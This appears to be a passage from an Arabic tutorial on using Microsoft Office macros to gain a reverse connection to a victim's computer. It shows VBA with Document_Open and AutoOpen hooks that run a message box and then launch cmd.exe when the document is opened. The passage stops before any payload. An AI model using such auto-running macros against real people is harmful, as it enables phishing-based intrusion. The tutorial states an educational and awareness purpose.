Execution with Office


MyMacro


سلام عليكم، إن شاءالله في هذا المقال ساقوم بشرح كيف يتم إستغلال Ms Office Macro من اجل الحصول على إتصال عكسي مع جهاز الضحية وايضاً ساتطرق إلى اسلوب الهندسة الإجتماعية. للعلم، ما يتم عرضه في هذا المحتوى هو من هدف تعليمي وتوعوي وفهم آليه عمل الاخترق من قبل Ms Office Macro. الكاتب يخلي المسؤوليه التامة في حالة اساءت الاستخدام.

تعد Microsoft Office احد مجموعات البرامج الشائعة جدًا والتي يتم استخدامها في جميع المؤسسات والشركات والحواسيب الشخصية وتعد من اهم البرامج الموثوقة ونظرًا لشعبيتها، تعد تطبيقات Office هدفاً رئيسياً لتصيد الاحتيال، فيما يتم تحديث البرنامج من قبل Microsoft بشكل دوري لتفادي اي ثغرات امنية. كذلك اعتذر للجميع لاني لن اتطرق إلى شرح ما هو الـ Macro وفيما يستخدم ولكن المصادر العلنية شرحت عملها بالتفصيل.

- تذكر ان هجمات Macro تعمل فقط على doc. او docm. وتاكد بان يتم تخزين الملف على إنه Word 97-2003 Document وإلا فلن يعمل معك

اولا: لنبداء ببعض الاساسيات ونقوم بإنشاء ملف جديد ونقوم بتخزينه على إصدار 2003-97 بإسم Doc1.doc ومن ثم الذهاب إلى View ونختار Macro

نقوم بتسمية الـ Macro ومن الممكن ان يتم تسميته باي شي ولكن في هذا المثال، سيكون MyMacro، وايضاً لا ننسى ان نختار إسم الملف الذي سنعمل عليه وهو نفس الملف الحالي لذلك سنختار Doc1

نقوم بتغير محتوا نافذت ال vba ونضع هذه الاوامر والتي من شأنها ان تعمل MsgBox عندف فتح الملف.

Sub Document_Open()

MyMacro

End Sub

Sub AutoOpen()

MyMacro

End Sub

Sub MyMacro()

MsgBox ("This is a macro test")

End Sub

نقوم بحفظ التغيرات الحاصله على الملف ونقوم بفتح الملف مرة آخرى وسنلاحظ إن هناك رسالة تحذيرية ويجب علينا ان نضغط على Enable Content كما سنلاحظ بان الرسالة التحذيرية توضح بوجود Macros ولكنه Disable. هذا هو إعداد الأمان الافتراضي لأي تطبيق من تطبيقات Office

توجد طريقة متقدمة لإخفاء تلك الرسالة التحذيرية ولكن لن اتطرق لها لدواعي امنية والحفاظ على المستوى الاخلاقي

في حال تم الضغط على Enable Content، فإن نافذ جديدة ستظهر امامك او ما يسمي بـ MsgBox، وفي كل مرة يتم فتح الملف، ستظهر تلك الرسالة.

ممتاز….

لنقم بتطوير الـ vba code قليلاً ونجعله يفتح لنا نافذه cmd فلتكن الاوامر كالتالي

Sub Document_Open()

MyMacro

End Sub

Sub AutoOpen()

MyMacro

End Sub

Sub MyMacro()

Call Shell("cmd.exe" & dosCmd, vbNormalFocus)

End Sub

Join